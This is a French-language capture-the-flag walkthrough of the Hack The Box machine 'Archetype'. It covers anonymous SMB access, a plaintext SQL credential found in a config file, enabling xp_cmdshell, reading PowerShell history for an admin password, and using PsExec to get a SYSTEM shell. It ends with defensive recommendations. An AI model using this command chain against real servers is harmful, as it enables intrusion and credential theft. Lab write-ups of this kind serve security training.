

HTB STARTING POINT

Archetype

Walkthrough Windows MSSQL

Edition publique - flags et mot de passe administrateur final masques

Objectif: methode, raisonnement, chaine d'attaque et recommandations defensives

SMB

Config

MSSQL

xp_cmdshell

Historique

Psexec

SYSTEM

Resume executif

Archetype est une machine Windows du parcours Starting Point. Elle illustre une chaine d'attaque interne realiste: partage SMB mal protege, fichier de configuration contenant des identifiants MSSQL, execution de commandes via xp_cmdshell, puis fuite d'un mot de passe administrateur dans l'historique PowerShell.

Edition publique

Les flags et le mot de passe administrateur final sont masques. Le but est de montrer la methode sans publier un simple dump de reponses.

Champ	Valeur
Plateforme	Hack The Box
Machine	Archetype
Difficulte	Very Easy
OS	Windows
Services cles	SMB, MSSQL, WinRM
Technique principale	MSSQL sysadmin -> xp_cmdshell -> historique PowerShell -> PsExec

Chaine d'attaque

Chemin de compromission

```
Acces SMB anonyme
-> partage backups lisible
-> prod.dtsConfig expose des identifiants MSSQL
-> connexion MSSQL avec ARCHETYPE\sql_svc
-> sql_svc possede le role sysadmin SQL Server
-> activation de xp_cmdshell
-> execution de commandes Windows en tant que sql_svc
-> l'historique PowerShell contient un mot de passe Administrator
-> PsExec donne un shell SYSTEM
```

1. Enumeration

La premiere etape consiste a identifier les services exposes.

Scan TCP complet

```
sudo nmap -p- 10.129.95.187
```

Port	Service	Interet
139/tcp	netbios-ssn	Ancien SMB via NetBIOS
445/tcp	microsoft-ds	Partage de fichiers SMB
1433/tcp	ms-sql-s	Microsoft SQL Server
5985/tcp	wsman	WinRM, utile avec des identifiants valides

Methode

Quand SMB est expose sur une cible Windows, l'enumeration des partages est souvent plus rentable qu'une recherche immediate d'exploit.

2. Enumeration SMB

Le partage SMB est enumere avec un utilisateur guest et un mot de passe vide.

Lister les partages SMB

```
smbclient -L //10.129.95.187 -U guest%
```

Partages interessants

Sharename	Type	Comment
-----	----	-----
ADMIN\$	Disk	Remote Admin
backups	Disk	
C\$	Disk	Default share
IPC\$	IPC	Remote IPC

Le partage non administratif backups est accessible. Il contient un fichier de configuration interessant.

Recuperation du fichier de configuration

```
smbclient //10.129.95.187/backups -U guest%  
smb: \> ls  
smb: \> get prod.dtsConfig
```

Identifiants trouves dans prod.dtsConfig

```
<ConfiguredValue>  
Data Source=.;Password=M3g4c0rp123;  
User ID=ARCHETYPE\sql_svc;  
Initial Catalog=Catalog;Provider=SQLNCLI10.1;  
</ConfiguredValue>
```

Constat

Un partage de sauvegarde expose un fichier de configuration contenant un mot de passe en clair. C'est un probleme classique d'hygiene des secrets.

3. Acces MSSQL

Les identifiants trouves permettent de se connecter a SQL Server avec Impacket.

Connexion MSSQL

```
mssqlclient.py ARCHETYPE/sql_svc:'M3g4c0rp123'@10.129.95.187 -windows-auth
```

Une fois dans le prompt SQL, je verifie l'identite et les privileges du compte.

Verifications MSSQL

```
SELECT name FROM sys.databases;  
SELECT SYSTEM_USER;  
SELECT IS_SRVROLEMEMBER('sysadmin');
```

La valeur 1 pour IS_SRVROLEMEMBER indique que le compte possede le role sysadmin. Ce niveau de privilege permet d'activer des fonctions dangereuses comme xp_cmdshell.

Rappel

MSSQL n'utilise pas exactement la meme syntaxe que MySQL. Pour lister les bases, on utilise SELECT name FROM sys.databases; et non SHOW DATABASES.

4. Activation de xp_cmdshell

xp_cmdshell est une procedure etendue de SQL Server permettant d'executer des commandes sur le systeme Windows sous-jacent.

Activation de l'execution de commandes

```
EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE;  
EXEC sp_configure 'xp_cmdshell', 1;  
RECONFIGURE;
```

Test de l'execution

```
EXEC xp_cmdshell 'whoami';
```

Resultat

```
output
-----
archetype\sql_svc
NULL
```

Point cle

A partir de ce moment, l'accès base de données devient une exécution de commandes Windows en tant que sql_svc.

5. Flag utilisateur

Avec l'exécution de commandes, je liste le Bureau de l'utilisateur sql_svc et je lis le fichier user.txt.

Lecture de user.txt

```
EXEC xp_cmdshell 'dir C:\Users\sql_svc\Desktop';
EXEC xp_cmdshell 'type C:\Users\sql_svc\Desktop\user.txt';
```

Flag utilisateur

```
[REDACTED_USER_FLAG]
```

Sur Windows CMD, l'équivalent de cat est type. En PowerShell, l'équivalent est Get-Content.

6. Escalade de privileges

Après l'accès initial, l'objectif est de chercher des secrets dans le profil utilisateur avant de partir sur des exploits ou des outils automatisés.

Enumeration du profil utilisateur

```
EXEC xp_cmdshell 'dir C:\Users\sql_svc';
EXEC xp_cmdshell 'dir C:\Users\sql_svc\Desktop';
EXEC xp_cmdshell 'dir C:\Users\sql_svc\Documents';
```

L'idée importante est de vérifier l'historique PowerShell. PSReadLine stocke l'historique dans un chemin connu.

Chemin de l'historique PowerShell

```
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```

Lecture de l'historique PowerShell

```
EXEC xp_cmdshell 'type
C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt';
```

L'historique contient une commande administrative avec des identifiants Administrator.

Fuite d'identifiants Administrator

```
net.exe use T: \\Archetype\backups /user:administrator [REDACTED_ADMIN_PASSWORD]
```

Lecon

Le mot de passe n'a pas été cassé. Il était déjà présent en clair dans un historique de commandes. L'historique est une source de preuves et de secrets.

7. Acces Administrator avec PsExec

Avec les identifiants Administrator et SMB ouvert, PsExec permet d'obtenir un shell distant.

Execution de PsExec

```
psexec.py administrator:'[REDACTED_ADMIN_PASSWORD] '@10.129.95.187
```

PsExec n'est pas une faille en soi. C'est une technique d'administration distante: authentification SMB, creation d'un service temporaire, demarrage du service, puis recuperation d'un shell. Comme le service tourne avec LocalSystem, le shell obtenu est souvent NT AUTHORITY\SYSTEM.

Verification et lecture du root flag

```
whoami
# attendu: nt authority\system

type C:\Users\Administrator\Desktop\root.txt
```

Root flag

```
[REDACTED_ROOT_FLAG]
```

8. Recommandations defensives

La compromission vient d'une chaine de mauvaises pratiques: partage trop ouvert, secret en clair, privileges excessifs et historique sensible.

Faiblesse	Mitigation
Acces guest au partage backups	Desactiver l'acces anonyme et auditer les partages SMB.
Mot de passe en clair dans un fichier de config	Utiliser un coffre de secrets, chiffrer les valeurs sensibles et faire de la rotation.
sql_svc sysadmin SQL	Appliquer le moindre privilege et revoir les roles SQL.
Activation de xp_cmdshell	Surveiller sp_configure, xp_cmdshell et limiter fortement les comptes sysadmin.
Mot de passe dans l'historique PowerShell	Eviter les mots de passe en ligne de commande et controler les historiques.
Admin utilisable via SMB	Utiliser Windows LAPS, limiter SMB d'administration et surveiller la creation de services.

Idees de detection

```
4624 - Connexion reussie
4672 - Privileges speciaux attribues
4688 - Creation de processus
5140 - Acces a un partage reseau
7045 - Creation de service
```

9. Points a retenir

Habitude pentest

Apres une execution de commandes, enumere d'abord le profil utilisateur courant avant de lancer des exploits noyau ou des outils automatiques.

Sur Windows, les emplacements utiles sont le Bureau, Documents, Downloads, l'historique PowerShell, les scripts, les fichiers de configuration, les identifiants sauvegardes et les taches planifiees.

Mini-checklist MSSQL

```
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
```

Le message central est simple: SQL Server sysadmin plus xp_cmdshell peut devenir une execution de commandes Windows, et l'historique de commandes peut exposer des identifiants critiques.

Annexe - Flux de commandes propre

Chemin de bout en bout

```
# 1. Enumeration SMB
smbclient -L //10.129.95.187 -U guest%
smbclient //10.129.95.187/backups -U guest%
get prod.dtsConfig

# 2. Connexion MSSQL
mssqlclient.py ARCHETYPE/sql_svc:'M3g4c0rp123'@10.129.95.187 -windows-auth

# 3. Verifications MSSQL
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');

# 4. Activation de xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

# 5. Flag utilisateur
EXEC xp_cmdshell 'type C:\Users\sql_svc\Desktop\user.txt';

# 6. Escalade de privileges
EXEC xp_cmdshell 'type
    C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt';

# 7. Shell Administrator
psexec.py administrator:'[REDACTED_ADMIN_PASSWORD]'@10.129.95.187
```